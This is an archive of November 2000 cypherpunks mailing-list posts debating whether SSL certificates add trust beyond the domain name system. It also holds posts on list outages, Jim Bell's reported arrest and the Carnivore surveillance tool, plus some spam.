> The problem with all of these things is that they are still based on > creating an association between a domain name and a key, when in fact what > you want is an association between some abstract concept of a counterparty > which exists in an end user's mind (like, say, amazon) and the ownership > of a machine that user's browser is talking to. > > Unless that problem is fixed, man in the middle is hardly made more > difficult - for example, Mallory could break into some random machine on > the net and steal it's public key, then hijack local DNS and when someone > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > proxy to amazon.com - now even SSL says the connection is safe. Yes, and Mallory can't read the data - so what was the point? Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From bill.stewart at pobox.com Sat Nov 18 17:03:31 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sat, 18 Nov 2000 17:03:31 -0800 Subject: CDR: Re: ssz.com network trouble In-Reply-To: <009a01c051bf$e387b8e0$0100a8c0@nandts> Message-ID: <3.0.5.32.20001118170331.00b5dbe0@idiom.com> I did a traceroute (well, mswindoze tracert, anyway), and got a "destination unreachable" from a machine at realtime.net in Austin. SSZ has often been unreliable; I think it's connected by ISDN, and it's raining down in Texas. At 06:30 PM 11/18/00 -0600, Neil Johnson wrote: >Is there something wrong with ssz.com. I haven't gotten any list mail and I >can get to the site. > >Thanks. > >Neil M. Johnson >njohnson at interl.net >http://www.interl.net/~njohnson >PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ben at algroup.co.uk Sat Nov 18 14:21:07 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 17:21:07 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... References: Message-ID: <3A16FE32.E78182F2@algroup.co.uk> Bram Cohen wrote: > > On Sat, 18 Nov 2000, Ben Laurie wrote: > > > Bram Cohen wrote: > > > > > > Unless that problem is fixed, man in the middle is hardly made more > > > difficult - for example, Mallory could break into some random machine on > > > the net and steal it's public key, then hijack local DNS and when someone > > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > > proxy to amazon.com - now even SSL says the connection is safe. > > > > Yes, and Mallory can't read the data - so what was the point? > > Yes he can - he's presenting the key for hackeddomain.com, which he stole, > so he's quite capable of reading requests sent for it. Apologies, yes, you are correct, I misunderstood. But isn't this what Lynn was suggesting in the first place? Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From obfuscation at beta.freedom.net Sat Nov 18 17:25:58 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Sat, 18 Nov 2000 17:25:58 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <200011190127.RAA06629@blacklodge.c2.net> Bram Cohen writes: > Unless that problem is fixed, man in the middle is hardly made more > difficult - for example, Mallory could break into some random machine on > the net and steal it's public key, then hijack local DNS and when someone > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > proxy to amazon.com - now even SSL says the connection is safe. Are you sure that works? I would think the SSL client would do a connection to the URL the user typed, www.amazon.com, and check the name in the cert to see if it (approximately) matches. If some DNS redirection is done in the background so that amazon.com gets mapped to amazon.hackeddomain.com, the client will not be aware of this (will it?) and so it will still throw up a warning when it sees a cert for hackeddomain.com on a connection to amazon.com. Ob From obfuscation at beta.freedom.net Sat Nov 18 17:25:58 2000 From: obfuscation at beta.freedom.net (obfuscation at beta.freedom.net) Date: Sat, 18 Nov 2000 17:25:58 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: <200011190127.RAA12099@cyberpass.net> Bram Cohen writes: > Unless that problem is fixed, man in the middle is hardly made more > difficult - for example, Mallory could break into some random machine on > the net and steal it's public key, then hijack local DNS and when someone > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > proxy to amazon.com - now even SSL says the connection is safe. Are you sure that works? I would think the SSL client would do a connection to the URL the user typed, www.amazon.com, and check the name in the cert to see if it (approximately) matches. If some DNS redirection is done in the background so that amazon.com gets mapped to amazon.hackeddomain.com, the client will not be aware of this (will it?) and so it will still throw up a warning when it sees a cert for hackeddomain.com on a connection to amazon.com. Ob From bram at gawth.com Sat Nov 18 14:33:10 2000 From: bram at gawth.com (Bram Cohen) Date: Sat, 18 Nov 2000 17:33:10 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... In-Reply-To: <3A16F8D4.936E3E0D@algroup.co.uk> Message-ID: On Sat, 18 Nov 2000, Ben Laurie wrote: > Lynn.Wheeler at firstdata.com wrote: > > > > In any case, the domain name infrastructure has been looking at ways to beef up > > the integrity of its operation ... like having public keys registered as part of > > domain name registration. > > How on Earth does that help? The key is already strongly linked to the > domain name - registering it with NetSol (for example) does nothing > interesting except to create another spurious revenue stream for NetSol. As opposed to the spurious revenue stream for Verisign? -Bram Cohen From jaltman at columbia.edu Sat Nov 18 14:43:12 2000 From: jaltman at columbia.edu (Jeffrey Altman) Date: Sat, 18 Nov 2000 17:43:12 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... In-Reply-To: Your message of Sat, 18 Nov 2000 13:43:02 -0800 (PST) Message-ID: > The problem with all of these things is that they are still based on > creating an association between a domain name and a key, when in fact what > you want is an association between some abstract concept of a counterparty > which exists in an end user's mind (like, say, amazon) and the ownership > of a machine that user's browser is talking to. > > Unless that problem is fixed, man in the middle is hardly made more > difficult - for example, Mallory could break into some random machine on > the net and steal it's public key, then hijack local DNS and when someone > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > proxy to amazon.com - now even SSL says the connection is safe. > > -Bram Cohen I don't understand this last paragraph at all. If you put a proxy on amazon.hackeddomain.com and I connect through the proxy to the real amazon.com, where is the threat? If the SSL connection is established with the proxy, then the X.509 certificate on that host does not match www.amazon.com and the connection would not verify. If the connection is proxied to the real www.amazon.com the SSL connection will verify, and because it is protected end to end the proxy will not be able to do anything other than disconnect the connection at an arbitrary time. There is no man in the middle attack here. Jeffrey Altman * Sr.Software Designer The Kermit Project * Columbia University 612 West 115th St * New York, NY * 10025 * USA http://www.kermit-project.org/ * kermit-support at kermit-project.org From jaltman at columbia.edu Sat Nov 18 14:47:14 2000 From: jaltman at columbia.edu (Jeffrey Altman) Date: Sat, 18 Nov 2000 17:47:14 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... In-Reply-To: Your message of Sat, 18 Nov 2000 13:59:09 -0800 (PST) Message-ID: > On Sat, 18 Nov 2000, Ben Laurie wrote: > > > Bram Cohen wrote: > > > > > > Unless that problem is fixed, man in the middle is hardly made more > > > difficult - for example, Mallory could break into some random machine on > > > the net and steal it's public key, then hijack local DNS and when someone > > > goes to amazon.com redirect them to amazon.hackeddomain.com, and then > > > proxy to amazon.com - now even SSL says the connection is safe. > > > > Yes, and Mallory can't read the data - so what was the point? > > Yes he can - he's presenting the key for hackeddomain.com, which he stole, > so he's quite capable of reading requests sent for it. > No he can't. What hackeddomain.com is sending is the certificate for hackeddomain.com which does not contain the host name www.amazon.com. Therefore, it won't be accepted by the client. If hackeddomain.com acts as a proxy, then the certificate that is received by the client is the real one from www.amazon.com and so the session is protected. You can't have it both ways. Jeffrey Altman * Sr.Software Designer The Kermit Project * Columbia University 612 West 115th St * New York, NY * 10025 * USA http://www.kermit-project.org/ * kermit-support at kermit-project.org From bram at gawth.com Sat Nov 18 15:15:16 2000 From: bram at gawth.com (Bram Cohen) Date: Sat, 18 Nov 2000 18:15:16 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... In-Reply-To: <3A16FE67.98F92D33@algroup.co.uk> Message-ID: On Sat, 18 Nov 2000, Ben Laurie wrote: > Bram Cohen wrote: > > > > > How on Earth does that help? The key is already strongly linked to the > > > domain name - registering it with NetSol (for example) does nothing > > > interesting except to create another spurious revenue stream for NetSol. > > > > As opposed to the spurious revenue stream for Verisign? > > Like I said: how does that help? Moving spurious revenue streams around > gets us nowhere. There are multiple domain name registrars - there is only one Verisign. -Bram Cohen From ben at algroup.co.uk Sat Nov 18 15:18:18 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 18:18:18 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... References: Message-ID: <3A16FE67.98F92D33@algroup.co.uk> Bram Cohen wrote: > > On Sat, 18 Nov 2000, Ben Laurie wrote: > > > Lynn.Wheeler at firstdata.com wrote: > > > > > > In any case, the domain name infrastructure has been looking at ways to beef up > > > the integrity of its operation ... like having public keys registered as part of > > > domain name registration. > > > > How on Earth does that help? The key is already strongly linked to the > > domain name - registering it with NetSol (for example) does nothing > > interesting except to create another spurious revenue stream for NetSol. > > As opposed to the spurious revenue stream for Verisign? Like I said: how does that help? Moving spurious revenue streams around gets us nowhere. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From njohnson at interl.net Sat Nov 18 16:30:13 2000 From: njohnson at interl.net (Neil Johnson) Date: Sat, 18 Nov 2000 18:30:13 -0600 Subject: No subject Message-ID: <009a01c051bf$e387b8e0$0100a8c0@nandts> Is there something wrong with ssz.com. I haven't gotten any list mail and I can get to the site. Thanks. Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC From galt at inconnu.isu.edu Sat Nov 18 17:57:48 2000 From: galt at inconnu.isu.edu (John Galt) Date: Sat, 18 Nov 2000 18:57:48 -0700 (MST) Subject: CDR: Re: your mail In-Reply-To: <009a01c051bf$e387b8e0$0100a8c0@nandts> Message-ID: Now where was that ssz bigot? On Sat, 18 Nov 2000, Neil Johnson wrote: > Is there something wrong with ssz.com. I haven't gotten any list mail and I > can get to the site. > > Thanks. > > Neil M. Johnson > njohnson at interl.net > http://www.interl.net/~njohnson > PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > -- Customer: "I'm running Windows '98" Tech: "Yes." Customer: "My computer isn't working now." Tech: "Yes, you said that." Who is John Galt? galt at inconnu.isu.edu, that's who! From gar1ry at hotmail.com Sat Nov 18 19:18:03 2000 From: gar1ry at hotmail.com (gar1ry at hotmail.com) Date: Sat, 18 Nov 2000 19:18:03 -0800 (PST) Subject: CDR: Initiative - key to Become Successful Home Worker! -AYXK Message-ID: <200011190318.TAA25998@cyberpass.net> Don't delay, don't lose Your Chance! Use Your FREEDOM of Choice! Get Clear Home Work! Start Perfect Own Internet Home Business! Make FREE money as partner! Boost your Internet Connection Speed! Speed up your computer! Go to: http://www.virtue.nu/garry/ http://www.geocities.com/garryusar/ ***************************************** Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply with the word REMOVE in the subject line. From ben at algroup.co.uk Sat Nov 18 11:25:21 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 19:25:21 +0000 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re:CRYPTO-GRAM, November 15, 2000) References: <8525699A.007A59E9.00@lnsunr02.fl.firstdata.com> Message-ID: <3A16D7A1.E340EF75@algroup.co.uk> Lynn.Wheeler at firstdata.com wrote: > > there are issues about authentication ... like conceptual frame-works of > something you have, something you know, and something you are. No, no! Don't go there! I am fond of the things that I am and do not want to encourage people to steal bits of me. Two ways is enough for me, unless you can think of a third way that means I get to keep my fingers and eyes. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From njohnson at interl.net Sat Nov 18 17:36:57 2000 From: njohnson at interl.net (Neil Johnson) Date: Sat, 18 Nov 2000 19:36:57 -0600 Subject: CDR: Re: ssz.com network trouble References: <3.0.5.32.20001118170331.00b5dbe0@idiom.com> Message-ID: <00ce01c051c9$357c7880$0100a8c0@nandts> I subscribed to cyberpass.net and am still not getting any messages. Is this related to ssz ? -Neil Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "Bill Stewart" To: "Neil Johnson" ; Sent: Saturday, November 18, 2000 7:03 PM Subject: Re: ssz.com network trouble > I did a traceroute (well, mswindoze tracert, anyway), and got a > "destination unreachable" from a machine at realtime.net in Austin. > SSZ has often been unreliable; I think it's connected by ISDN, > and it's raining down in Texas. > > At 06:30 PM 11/18/00 -0600, Neil Johnson wrote: > >Is there something wrong with ssz.com. I haven't gotten any list mail and I > >can get to the site. > > > >Thanks. > > > >Neil M. Johnson > >njohnson at interl.net > >http://www.interl.net/~njohnson > >PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > Thanks! > Bill > Bill Stewart, bill.stewart at pobox.com > PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 > From jya at pipeline.com Sat Nov 18 16:56:00 2000 From: jya at pipeline.com (John Young) Date: Sat, 18 Nov 2000 19:56:00 -0500 Subject: CDR: Jim Bell Arrested Message-ID: <200011190039.TAA10780@smtp10.atl.mindspring.net> A family member says Jim Bell was arrested last night when he went out to the store. The person also said the feds were searching for e-mail Jim sent around August 18. I can't prove the family member is that and not a fisher. From ben at algroup.co.uk Sat Nov 18 13:47:00 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sat, 18 Nov 2000 21:47:00 +0000 Subject: Public Key Infrastructure: An Artifact... References: <8525699B.0073CCDD.00@lnsunr02.fl.firstdata.com> Message-ID: <3A16F8D4.936E3E0D@algroup.co.uk> Lynn.Wheeler at firstdata.com wrote: > > note also that current SSL infrastructure is vulnerable to things like domain > name hijacking; aka, at least part of SSL protocol is to make sure that you > really are talking to the host that you think you are talking to ... i.e. the > SSL certificate contains host/domain name (all this, in theory because of > weaknesses in the domain name infrastructure) ... and when SSL goes to check > something in the certificate ... it is checking the hostname/domainname against > the hostname/domain name that the browser is using. > > However, SSL-certificate issuing CAs have to rely on the domain name > authoritative infrastructure with regard to issuing SSL-certificates & domain > name ownership issues ... this is the same authoratative infrastructure that > supposedly can't be relied on and justifies having a the whole SSL-certificate > infrastructure to begin with. > > In any case, the domain name infrastructure has been looking at ways to beef up > the integrity of its operation ... like having public keys registered as part of > domain name registration. How on Earth does that help? The key is already strongly linked to the domain name - registering it with NetSol (for example) does nothing interesting except to create another spurious revenue stream for NetSol. > Now, if domain name infrastructure is going to use > public key registration as part of beefing up its integrity ... that would > medicate much of the justification for the SSL-certicate infrastructure. Medicate? What? > Furthermore, if a higher integrity domain name infrastructure included public > keys in the domain name record ... clients could request a real-time, trusted > copy of the public key as a adjunct to host-name lookup. This would further > eliminate the requirement for any certificate involvement in the majority of the > existing SSL transaction operation (i.e. client gets the public key at the same > time hostname resolution is done ... the client can trust a real-time > host/domain name because of the improvement in the domain name infrastructure > integrity ... and at the same time it can trust a real-time publickey for the > same host/domain). And the benefit of that (apart from lock-in) would be what? Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From Lynn.Wheeler at firstdata.com Sat Nov 18 20:23:14 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sat, 18 Nov 2000 23:23:14 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... Message-ID: <8525699C.0015DE9B.00@lnsunr02.fl.firstdata.com> the current SSL domain name infrastructure supposedly exists because of issues with trusting the domain name infrastructure ... except the SSL domain name certificate issuer has to trust the same (untrusted) domain name infrastructure when issuing a certificate (i.e. the SSL domain name certificate is no better than the authentication authority that the certificate authority has to rely on as the final arbitrator of domain name ownership). one of the integrity issues with the domain name infrastructure ... is that domain names have been hijacked ... once hijacked ... you can go to certificate authority and get a certificate with that domain name (and the certificate authority will check with the domain name system and confirm that the requester owns the domain name). for more ... see merchant comfort certificate thread at http://www.garlic.com/~lynn/aepay4.htm specific news clipping on hijacking http://www.garlic.com/~lynn/apay4.htm#dnsinteg1 so, the scenario goes that to fix various exposure & integrity risks to SSL domain name certificate infrastructure, the domain name infrastructure that the certification authority relies on needs to have its integrity fixed. the proposal for fixing the domain name infrastructure (on which the SSL domain name certificate issuing authority relies on as the authoritative reference for domain names) is to register public keys at the same time domain names are registered. now the interesting catch-22 is that SSL domain name certificates were in part justified because of weaknesses in the integrity of the domain name infrastructure ... however in order to issue those same SSL domain name certificates, the SSL domain name issuing authority (certificate authority) has to rely on the same domain name infrastructure (that everybody is being told that you can't really trust because of integrity problems ... aka everybody isn't to rely on domain name infrastructure ... because it can't be trusted ... so buy a SSL domain name certificate .... however the SSL domain name certificate issuing certification authority is allowed to rely on the same domain name infrastructure for its authoritative information. The SSL domain name certificate issuing certification authority just isn't telling everybody that it has to reference the domain name infrastructure in order to validate a request for an SSL domain name certificate. I would call that ironic??? Now for even more ironic. In order to fix various integrity exposures in the SSL domain name certificate ... integrity exposures in the domain name infrastructure have to be fixed (i.e. integrity is nominally no stronger than the weakest link). However, fixing integrity exposures in the domain name infrastructure (in order to fix various integrity exposures in SSL domain name certificates) ... can make those certificates superfluous, redundant and unnecessary. Now the issue isn't to use either SSL domain name certificates or domain name infrastructure. Since SSL domain name certificates issuance relies on the domain name infrastructure for its authoritative information ... then the infrastructures that the SSL domain name certificates issuance certification authority relies on has to have its integrity fixed. Now, I considered this somewhat ironic ... that in order to fix a integrity dependency that SSL domain name certificate issuance has ... the fix also eliminates much of the original justification for SSL domain name certificates (i.e. weaknesses in the domain name infrastructure) as well as making SSL domain name certificates superfluous and redundant. SSL domain name certificates provide a binding between public key and domain name. However, if public keys were registered with domain names in the domain name infrastructure ... the purpose of which was to fix various integrity problems in the domain name infrastructure and allow the domain name infrastructure to be trusted by the SSL domain name certificate issuing certification authority ... then the integrity of the domain name infrastructure can be fixed for everybody ... eliminating the purpose of the SSL domain name certificate (aka integrity problems with the domain name infrastructure). Furthermore, if public keys were registered with domain names, then the domain name infrastructure could serve up real-time bindings of public keys and domain names (as part of the domain name lookup process). If a SSL protocol ... when it asked the domain name system to resolve a domain name ... could set a flag and asked that both the resolved domain name and the registered public key be returned ... the efficiency of the SSL protocol would be improved. All in all 1) fixing integrity of domain name infrastructure (so you can trust SSL certificates) eliminates much of the requirement for SSL certificate (i.e. needed because of integrity problems in the domain name infrastructure 2) fixing integrity of domain name infrastructure with the registration of public keys and making that information public as part of standard domain name infrastructure provides a trusted binding between domain name and public key ... making the SSL domain name certificate superfluous and redundant. Now as to the other kind of certificate. My wife and I were hired by a financial services company in 1994 to work with a small client/server startup on the peninsula that wanted their server to be able to interface to the financial transaction infrastructure. One of the things that I eventually specified as part of that infrastructure was a consumer oriented certificate (along the lines of BBB, consumer reports, etc). However, the whole thing was in its infancy and they were having enuf other problems creating infrastructures ... so it has yet to happen. Two people my wife and I worked with at the startup are referenced in the following: http://www.garlic.com/~lynn/aadsmore.htm#dctriv random other refs: http://www.garlic.com/~lynn/aadsmore.htm#client3 http://www.garlic.com/~lynn/aadsmore.htm#client4 http://www.garlic.com/~lynn/96.html#32 http://www.garlic.com/~lynn/2000b.html#18 http://www.garlic.com/~lynn/95.html#13 From moviles at hispavista.com Sun Nov 19 00:52:17 2000 From: moviles at hispavista.com (moviles at hispavista.com) Date: Sun, 19 Nov 2000 00:52:17 -0800 (PST) Subject: CDR: Lo siento . . . por la feria SIMO Message-ID: <200011190852.AAA15549@toad.com> Muy Sres. nuestros: Hemos recibido su amable correo-e. En los prsximos dmas nos pondremos en contacto con Vd. En estos momentos no podemos hacerlo debido de tantas demandas hemos recibido y a que estamos en al Feria S.I.M.O en Madrid (Stand n: 8086* Pabellon n: 8). No podemos presentar en estos dmas la lista de precios en nuestro WEB http://www.wapshop.es por la fuerte subida y la fluctuacisn de moneda (US $ = Dslar). Sentimos no poderles  por estas circunstancias  dar una respuesta mas favorable. Le contestaremos su noticia lo antes posible. Muy atentamente, WAPSHOP S.L. Dept. Informacisn http://www.wapshop.es ------------------------------------------------------------------------------------------------------------------- Si quiere borrarse de la lista ir a: http://dowjones.st/to/wapshop Atencion este servicio de remove es ofrecido por RemovingNet, que no es beneficiario de este email comercial. Este servicio es un servicio gratuito para facilitar las bajas de las listas de distribucion. If it wants to erase of the list to go a: http://dowjones.st/to/wapshop Attention east service of remove is offered by RemovingNet, that is not beneficiary of this commercial email. This service is a gratuitous service to facilitate the losses of the distribution lists. From return61 at uole.com Sat Nov 18 22:07:56 2000 From: return61 at uole.com (return61 at uole.com) Date: Sun, 19 Nov 2000 01:07:56 -0500 Subject: CDR: Need Money? Aggressive lenders Say YES to Home Loans! 16863 Message-ID: <0000623e5723$00003433$000041df@from houifecj.cc.com.ar([256.44.30.4]) by irs5s2.daidacentotere.chua.caimetv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAA11975 ([256.005.36.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 16237 bytes Desc: not available URL: From Lynn.Wheeler at firstdata.com Sun Nov 19 05:21:51 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sun, 19 Nov 2000 05:21:51 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699C.004408BB.00@lnsunr02.fl.firstdata.com> oh yes, as to the other kinds of certificates. basically this is an issue of trust establishment. there are various forms of trust establishment, advertisement, brand, word-of-mouth, previous history, etc ... not just BBB or consumer report like stuff. Transactions are highly skewed ... with the majority of transactions having some form of trust establishment not needing BBB, consumer report, etc. (i.e. previous history, brand, etc) on the internet, for the minority of transaction w/o other forms of trust establishment and which would benefit from a BBB, consumer report, etc solution ... there can actually be two approaches: 1) offline paradigm; certificates are offline paradigm solution ... they've been manufactored at some time in the past with potentially out-of-date and/or really stale information. 2) online paradigm; a BBB, consumer report, etc online web site that gives up-to-date, real-time information about a merchant. these would be well-known web-sites and merchants could even have buttons that take the consumer to such a web-site. Some number of the certification, licensing, & trust organizations have actually expressed preference for the online paradigm, in part because it creates a tighter bound with the consumer, they have better tracking of consumer reliance on their services, and the information provided is current & up-to-date. From Lynn.Wheeler at firstdata.com Sun Nov 19 05:31:03 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sun, 19 Nov 2000 05:31:03 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699C.0044DF10.00@lnsunr02.fl.firstdata.com> actually ... not really ... this was discussed early this summer as to what they actually check ... and how trivial it is to fabricate necessary details to pass such checking random ref: http://www.garlic.com/~lynn/aadsmore.htm#client3 in general it is sufficient to have registered any DBA name & have a d&b entry plus some misc. other stuff ... all relatively easy to establish. Since the DBA name & d&b entry aren't cross-checked as part of the SSL certificate validation ... just the domain name in the certificate against the domain name used ... you could be really surprised at what comes up for DBA names. I've had credit card statements that listed the DBA names which had absolutely no relationship to the name of the store I had been to ... which i eventually had to call both the credit card company/bank and the store to figure out what was going on. Ben Laurie on 11/19/2000 04:08:39 AM From cjtraade at home.com Sun Nov 19 06:54:43 2000 From: cjtraade at home.com (C. James) Date: Sun, 19 Nov 2000 06:54:43 -0800 Subject: CDR: ziplip address Message-ID: <20001119160239.JXWZ1559.mail1.rdc2.bc.home.com@home.com> Hello, I am interested in having an e-mail address with ziplip.com Can you offer me assistance. Cheers, CJ From ben at algroup.co.uk Sun Nov 19 04:35:14 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Sun, 19 Nov 2000 07:35:14 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... References: <8525699C.0015DE9B.00@lnsunr02.fl.firstdata.com> Message-ID: <3A17C2C7.CDEEE753@algroup.co.uk> Lynn.Wheeler at firstdata.com wrote: > > the current SSL domain name infrastructure supposedly exists because of issues > with trusting the domain name infrastructure ... except the SSL domain name > certificate issuer has to trust the same (untrusted) domain name infrastructure > when issuing a certificate (i.e. the SSL domain name certificate is no better > than the authentication authority that the certificate authority has to rely on > as the final arbitrator of domain name ownership). > > one of the integrity issues with the domain name infrastructure ... is that > domain names have been hijacked ... once hijacked ... you can go to certificate > authority and get a certificate with that domain name (and the certificate > authority will check with the domain name system and confirm that the requester > owns the domain name). The difference is that a CA _also_ binds the certificate to a legal entity. When the fraud is discovered, the identity of the fraudster is, too. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From ernest at luminousnetworks.com Sun Nov 19 08:56:31 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Sun, 19 Nov 2000 08:56:31 -0800 Subject: CDR: Conspiracy Theory #187389 (RE: Carnivore All-Consuming) Message-ID: <090825D1E60BD311B8390090276D5C4965DD49@galileo.luminousnetworks.com> What is the likelihood that the public just ignores this given the ruckus over the election? Ern -----Original Message----- From: George at Orwellian.Org [mailto:George at Orwellian.Org] Sent: Friday, November 17, 2000 10:46 PM To: cypherpunks at cyberpass.net Subject: Carnivore All-Consuming EPIC FOIA... http://www.latimes.com/wires/20001117/tCB00V0387.html WASHINGTON--The FBI's controversial e-mail surveillance tool, known as Carnivore, can retrieve all communications that go through an Internet service -far more than FBI officials have said it does -a recent test of its potential sweep found, according to bureau documents [snip] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1487 bytes Desc: not available URL: From bear at sonic.net Sun Nov 19 11:15:27 2000 From: bear at sonic.net (Ray Dillinger) Date: Sun, 19 Nov 2000 11:15:27 -0800 (PST) Subject: CDR: Key-Address correspondence in networks? Message-ID: I want to run this idea past some knowledgeable people and see if it looks like a good idea.... In an application which passes encrypted messages from one host to another, it is desirable to have the message differently encrypted at each 'hop' along the way (to defeat traffic analysis). But, this link-to-link encryption requires keeping track of an enormous number of keys, and that introduces complexity which a cracker could use to get into the system. Bluntly, after reviewing PKI and x.509 certs, I don't think that there is a sufficient reason to trust that the machine I'm talking to is actually the machine its cert claims it to be. The proposal is to use longer keys for each machine, and have the IP address of each machine be part of its key. (or in another network environment, assign it an "address" which happens to *be* its key...) That way, you can instantly spot at least one class of bogus requests and constrict the possibilities for an attacker. (ie, "if the key presented does not match the address it's presented for, refuse no matter what DNS or the key database say about the name-to-key correspondence and the name-to-entity correspondence".) Note, these keys are for asymmetric encryption - probably elliptic- curve or RSA. The IP address will be on the public-key side. The actual packets will be encrypted under a symmetric algorithm, with the key for the packet encrypted under the asymmetric algorithm and transmitted with it. My questions: 1) Is using a longer key just paranoia in this case, or is there an actual weakness in constricting the choice of public key that makes the private key easier to derive? 2) Is there a reasonable class of attacks and spoofs that this protects against? 3) If so, does this protection make the system noticeably harder to break? (ie, does it protect against what would otherwise be the easiest attacks?) From jamesd at echeque.com Sun Nov 19 11:23:44 2000 From: jamesd at echeque.com (James A. Donald) Date: Sun, 19 Nov 2000 11:23:44 -0800 Subject: CDR: The cause of uncertainty in the election outcome. In-Reply-To: References: <200011171652.LAA24887@www2.aa.psiweb.com> Message-ID: <4.3.1.2.20001119110455.0283cc40@shell11.ba.best.com> Because the vote is so close, the outcome depends entirely on a multitude of judgment calls about which votes count, and which are counted, and how they shall be counted. The normal procedure in England and the democracies descended from England, or imposed by English troops, is that the major parties reach agreement before and during the vote count, on how the votes shall be counted. In the US however, you have a multitude of laws, laws which contradicted each other, and contradicted actual practice. For example a lot of perfectly good absentee ballots that were presented by the military in accord with the usual military practice were rejected this time because they did not comply with the letter of the law, even though they complied with custom and practice. The cause of the uncertainty is judicial imperialism. It is often said that Americans are litigious,but the cause of this destructive litigation is judicial willingness to unpredictably overturn existing practice. From bmm at minder.net Sun Nov 19 08:28:51 2000 From: bmm at minder.net (BMM) Date: Sun, 19 Nov 2000 11:28:51 -0500 Subject: CDR: Re: ssz.com network trouble In-Reply-To: <00ce01c051c9$357c7880$0100a8c0@nandts> Message-ID: cyberpass has "lost" its subscriber list at least once, so you might want to confirm that you actually are currently subscribed. SSZ has occasional extended downtimes and the charming CDR prefix. I'm unsure of the status of algebra.com, as Igor has asked me to deliver to those who were subscribed there. That leaves openpgp.net and minder.net. Anyone with some dedicated, reliable bandwidth want to run a node? Cheers, -Brian On Sat, 18 Nov 2000, Neil Johnson wrote: > I subscribed to cyberpass.net and am still not getting any messages. Is this > related to ssz ? > > -Neil > > Neil M. Johnson > njohnson at interl.net > http://www.interl.net/~njohnson > PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > ----- Original Message ----- > From: "Bill Stewart" > To: "Neil Johnson" ; > Sent: Saturday, November 18, 2000 7:03 PM > Subject: Re: ssz.com network trouble > > > > I did a traceroute (well, mswindoze tracert, anyway), and got a > > "destination unreachable" from a machine at realtime.net in Austin. > > SSZ has often been unreliable; I think it's connected by ISDN, > > and it's raining down in Texas. > > > > At 06:30 PM 11/18/00 -0600, Neil Johnson wrote: > > >Is there something wrong with ssz.com. I haven't gotten any list mail and > I > > >can get to the site. > > > > > >Thanks. > > > > > >Neil M. Johnson > > >njohnson at interl.net > > >http://www.interl.net/~njohnson > > >PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC > > > > Thanks! > > Bill > > Bill Stewart, bill.stewart at pobox.com > > PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 > > > -- bmm at minder.net 1024/8C7C4DE9 From Lynn.Wheeler at firstdata.com Sun Nov 19 11:45:51 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Sun, 19 Nov 2000 11:45:51 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699C.00673A55.00@lnsunr02.fl.firstdata.com> specifically with respect to SSL server certificates ... their primary objective was supposedly to overcome shortcomings in the domain name infrastructure integrity (and as stated, most of the SSL server certificate issuing entities actually also have dependencies on that integrity). Fixes for the integrity of the domain name 